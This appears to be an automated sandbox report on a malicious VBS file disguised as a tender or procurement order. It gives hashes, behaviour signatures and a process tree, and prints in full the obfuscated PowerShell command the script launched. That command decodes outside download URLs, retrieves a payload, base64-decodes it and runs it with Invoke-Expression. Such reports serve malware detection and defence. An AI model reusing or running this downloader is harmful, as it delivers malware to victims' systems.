Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21/11/2024, 09:10
General
-
Target
Tender_procurement_product_order__21_11_2024_.vbs
-
Size
28KB
-
MD5
e287e89a039bac210a685df3a02acf18
-
SHA1
f835a3e07e7e0343c8ef323365e94967b60eae1f
-
SHA256
ca82b1e207de187c0e8f7ecf45397c1b2161f97a6ef7909616700c3bfc97aa10
-
SHA512
93c29f68bab89ada12554bffd8822f9c7e90a5a69d9b4c9a49374c991236c8cc32bfb7c496e67abb2efe0f584a125cff58380eb46e73feb36fc1efdc657642ca
-
SSDEEP
384:f9xA7f2VAt1fwEpk6RQ2LpnVYnZIRB87rNfSZyiLPTG3pKxR:f9x4+IwIQ2LlQZEBCrFlpKr
Score
6/10
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
-
Network Service Discovery 1 TTPs 1 IoCs
Attempt to gather information on host's network.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Tender_procurement_product_order__21_11_2024_.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Alfred Calliphorid Instruktionsfelterne Moated Millilux Prouder #><#Sprregrnserne Lobbyism Genbrugsmuligheders #>$Olicom='Besudlende';function elaphurine($Efterskrev){If ($host.DebuggerEnabled) {$srtrykket=5} for ($Cosmolatry=$srtrykket;;$Cosmolatry+=6){if(!$Efterskrev[$Cosmolatry]) { break }$Autogene+=$Efterskrev[$Cosmolatry]}$Autogene}function Chevronelly($Problemlsningens3){ .($Karryen) ($Problemlsningens3)}$sideslip=elaphurine ' KapiNF,agreKnobetflyve.AnthoWPericeSkankB FuglCZygadlExsiliSudateRespeN HandT';$Salonriffel234=elaphurine 'PrescMTr.itoK lkaz,elasiSejtrlAssimlinteraAspha/';$Propre=elaphurine 'Bi,amT De,il Ba ssReces1Trans2';$Recloseable='R spp[OpslaNR,deheUnde tOx di. TordSFarveE V,nkR .lynV spenI TakkcExpenephenoPDa elo Berbi.inrfn Yogit T.rmmLanceau scrnKlassApri,igreporETog,tr L pe] Foru: ommi: WhitsPhal e .onmCPanniUEcderR EngaiEffecTAsyleY Sa dp InfaR Su,poFi,keTLegiooSta,sCTu nvOSta,llInter=L eti$ GossPSmertrSpillOQuerupTrykkRIndusE';$Salonriffel234+=elaphurine 'Pet,c5Modha.spray0 Inte Chev(BekraWElectiCylinnUnexodStvnio ,ottwNuk es Flag BinomNLikewTIndef Engdr1D sem0 ycod.Adeny0Clinc;Mo.ot CirkuWEnnoii D stn raft6nost.4 Dipl; Slee BrickxVippe6 boun4Blind; land AfladrNonblvSup l:Randb1Fdeby3C nfr1Hoved.App e0B.gni) prog MillkGDediceFlagecUmindkDvrgeo rags/Alloc2 ,bet0Char,1unger0 elve0Frem,1 Misd0Forsk1F rth ,earbF.rchiiSpoorrGenn eKonkofRodfoo enyoxPr nu/Iso.l1Brokb3Studi1Alyta. Naca0';$Dissentients=elaphurine 'Jazzbu,olossModulESeklerHazar-majusaA ganGkoupre HypoN UdfrT';$Durgan=elaphurine 'Ch eshGenertHyldetGr upp ilsms F es:Fo ma/Gr.pp/Impl,q CatapBygge.ModullProgrqGeninacamereTonalbgenfooorato2 Ynke.SubadrRestauUngka.Kultuc TjenoBret mTores/Myz sPInteroSpa slU deryCaprenEntere utles romaiDisenaFiret1spryd9Rasc 6Archd.Old,bhApterhr parp Fog > mi,zhNone tHy ert kolepCamp sPreen: Elec/f.sti/Visios Cam.h UndeaPue plsubmaoChrisu RecixSpan tEnhat. Stret UnbroBismep Meta/,onjuPPengeo .glolRadioyGravenVelafevandrsChondiU,ioladanit1Ou li9fluev6,bema.TfleuhF nlah Sa ap';$Vignetted=elaphurine ' Alka>';$Karryen=elaphurine 'afgh IG edveLand.x';$Cosmolatryrishism='extemporize';$Opfriskende='\Undsttelses.Sup';Chevronelly (elaphurine 'vaabe$SkirwGSprinlDumpioBuf lBAnsagAfrimrl,ykle:PeccaWOvereA FiguiGunteLInnutMA soneuove,NN esttUnack= Tur $PokereTachynHyperV agon: ElecA RegePSprogPShoveDU.mugAskatttBournaToile+ F uc$Formio StraPF ndif SondrHagioIkontrSBordtKBlom.eNymphnMariud ipole');Chevronelly (elaphurine 'u acc$FunktgRelisLEnjoyotoupebF jesASprgelUlogi:PressFTo akoOwsenDW,gglbunfroOWondelBrigiDS miaP R,korBrndkOForsaGServir InteANundiMVi tu= uske$Skul dUn ofuKromaRR.skigSe inADiv.rn .hoo.C untStombap Pja lS eetIMindrtUopdr(Panta$ Enl vS rafiApos.G opdrnSericeSa att Sal tInertE OutrdT.app)');Chevronelly (elaphurine $Recloseable);$Durgan=$Fodboldprogram[0];$Jublet78=(elaphurine 'Antim$Tran,GH sholWhimpo Ops,BU cleAGansklStude:SulphePatruk agrisScen tOutporFrizzeC uzamAlbatuPreadm FestSMetropRe sauStivlNQuaffKCa.botUformECo.nttNeura=StromN AsyleParkeWPylad-Svbero SpitB.kidtjPapiseLr,rkCSneerTBra n ,jaskSMugniYopposS geortTribue fiskMTi.sl.Halvo$bryllS,egnfIMicroDPeroxESal.ssConcilBlennICalceP');Chevronelly ($Jublet78);Chevronelly (elaphurine ' Ho,d$Tras EUnneikga,nisTeknitAfspirBridieBibbamS,ippuSamsvmMystis r trp SelvuStatonSup rk TrowtDr nne rkitt Tel,.C.ntrHExcrueTraveaGra.ddAdvereS,lefr.psissSidef[ ecam$BlainDStatuiR,mmes GrunsAccrueKikkenGenintSickeiAadr eSe,sinJebl tPlei sAn,el]Nodu =Incon$ ropoSTiggea dtvlforf oFersvnVe ovr Dr ni P infSaradf ergoeRewanlOnese2 nfol3 Rett4');$Impluvia=elaphurine ' nver$WinteE,entrkRuntisIagtttRummerFlangeGennemA sinuOndulmL gtesHovedpSid buJor,vn everk MoghtS.ovteR.ppetSyg p.LasheDski tocelanwSub rnSeptulSub toChir aBasildAmphiFRitori T belGale.eU ban(cusin$Evo uD B.svuFysiorblancg be aaTopianS nio, ekmp$Bioa,T K,eeeAmph.sRa smtMo oli E esf Ekskiinh lcPhytoa Usigt misti Sagso TelenTuran)';$Testification=$Wailment;Chevronelly (elaphurine 'A sen$ HeteGM,teoLafvarO ilaBThrilA VeloL Feni:Sola KDive.OS,igeRForsvIFredsNEntratLuxemH,lutt=Tempe(VejkaTFalloeCockps,uroiTHove -AmoriPsurmoARheo tProtrH ,rre Bavia$FyrsttSortbE ErwiSUdkastMarmoICosgrfKlad.iVegetCPronuaBrom tExpecI Srs OGraphnVar l)');while (!$Korinth) {Chevronelly (elaphurine ' Vide$ Adjeg SubalK nfeoRave,bTejn,a nterlMetal:Pr prVS,idsrTvrsudIntersFortra AmittLogertBebloePersosServe=Famil$Old iEVan tfBrn,ttSympheGentlr Illul Rubeevi elv Sk ie OverlMngdes .andeIslndspeb.tvbaboorsudicd.ystviIndurgcri ieA,pors') ;Chevronelly $Impluvia;Chevronelly (elaphurine 'CharrsSlangt UnprAT eneRvanditKrads- ScalsDunenlSignieAnticE.otarpPr pe Signa4');Chevronelly (elaphurine 'Besgs$Vigt gPyalilJulemoCampob GrafA.ocialFin.n: caraKAttesoIndokR .alaIRrfabN C catToolhhParde=Poura( ByggtResmeE ForksHeterTangie-Res,apWateraAk.ioTCigarh Ov r Krok,$SyzygTBiopoeSunbaSProgrtRatakiPilgrfNovatIProvecAmo aaEesmitExtraiLanceOAdeliNKl ak)') ;Chevronelly (elaphurine ' Fren$Komplg,jakbl As.iOMi osbSerbeAOrbicLBlaak:.radulUdsprACh.omNAlumiD FlaspOveral isbeA HypeN,oothE Cord=C pra$FiliagPenn.lGermao ZarrBVerdeA sej LBot n: Met.L RegnsRid.lLWhal aV.emadHedo T itrie Avoc+Grang+vidne%perso$ ummfPen aoChortDko,trBCeratoPiaroLOxygeDmejerpDie erOpporOSepulGUdtrarfron AUnifoMHexac.Prepoc Hje.oBejigU,gtppnRe.acT') ;$Durgan=$Fodboldprogram[$Landplane]}$Pligthugger=298196;$Badland=32408;Chevronelly (elaphurine 'Ekste$R.oing,rogrLDacapoc imiBBestra MetoLTelef:PhthiC pria FinenDis oiBaltedEdri,SFarsa klunt=Vivac PlasgKultuESpiseTS msm-PomercAnginoWeekenUnquetReproe Sh pNBrdniTRigou .irk$PhospTFjordeAccidS GashTSprriiHo.edf ul.kIProgrCDeo yAWai dTNig ti RejaoElvern');Chevronelly (elaphurine 'Ba.mf$ Bedsg AfdalRhinooKettabAkt vaEnekal Foru:Lith PAnsvaaJaegexSc letunderoUnflonOrdre Udko=Eksk, Lispe[ SmaaSBuoyaymice s LydstHearteApokamFlamb.BladkCVivikoW,nkinSeptevUnreseExplorUnsettForrd]Gi ad: verd: ,seuF TranrDavaco Mdenm smerBWieneaAfkogs Ben.e ndef6G omi4InterSSm ret trerlaaseiBiltonL vergSyncy( krok$T glpC rikoaCardinB lliiClo edForras.ncoo)');Chevronelly (elaphurine ',ngli$Bi tjgskrmeL MaanOVictobBdestA ascalBedco: anitAUmiacmT oglESynthtFakk.r JorooFngsepLydhrE Hote1A.per7sme n Skoma=Cytos Prec [PerviS epi YTempeSFons tUgandeRaym.m aste.KnoglT dorsEBr nzXTheretTerce.Pous.e rimnDu.tucSk vfoGalopd ktteILuftgnOp agGMalma]Neuro: Tubm: nsurAStenkSp ytic PashiHyperiparke. UsurgResu,ESoldaTGlumosD rektsyll,RDkkenI rivenSkammgmisfe( Prot$sekunpPlastArektix RentTContrO Illun Sulp)');Chevronelly (elaphurine 'A,lan$CanewG erogLDipe oA,dreBGarroA HaemlImple:avledL SelvgRodomN Refoe RaviDBehaeeOghamTa tene Synkk BystT ressOWailirFlammEring RTorde=Euden$HofmaaFor eMCenteeTilsyT KobbrTinn,OBijouP TerrENothi1fu.dk7Po tc.B niaS StenukorstbDalbosTung,T,olitR.lectINoti.NBelovgSkean(Zanas$LegetPPri,uLKejseiKoncegResertStlndhLnn nU Per,GobdurgRumfoESter,rOverf, kyts$MandsbS.ummAGu dtd Allel FlokAOpininGoodyDS iri)');Chevronelly $Lgnedetektorer;"2⤵
- Command and Scripting Interpreter: PowerShell
- Network Service Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
4KB
-
Filesize
2.9MB
-
Filesize
32KB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
4KB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB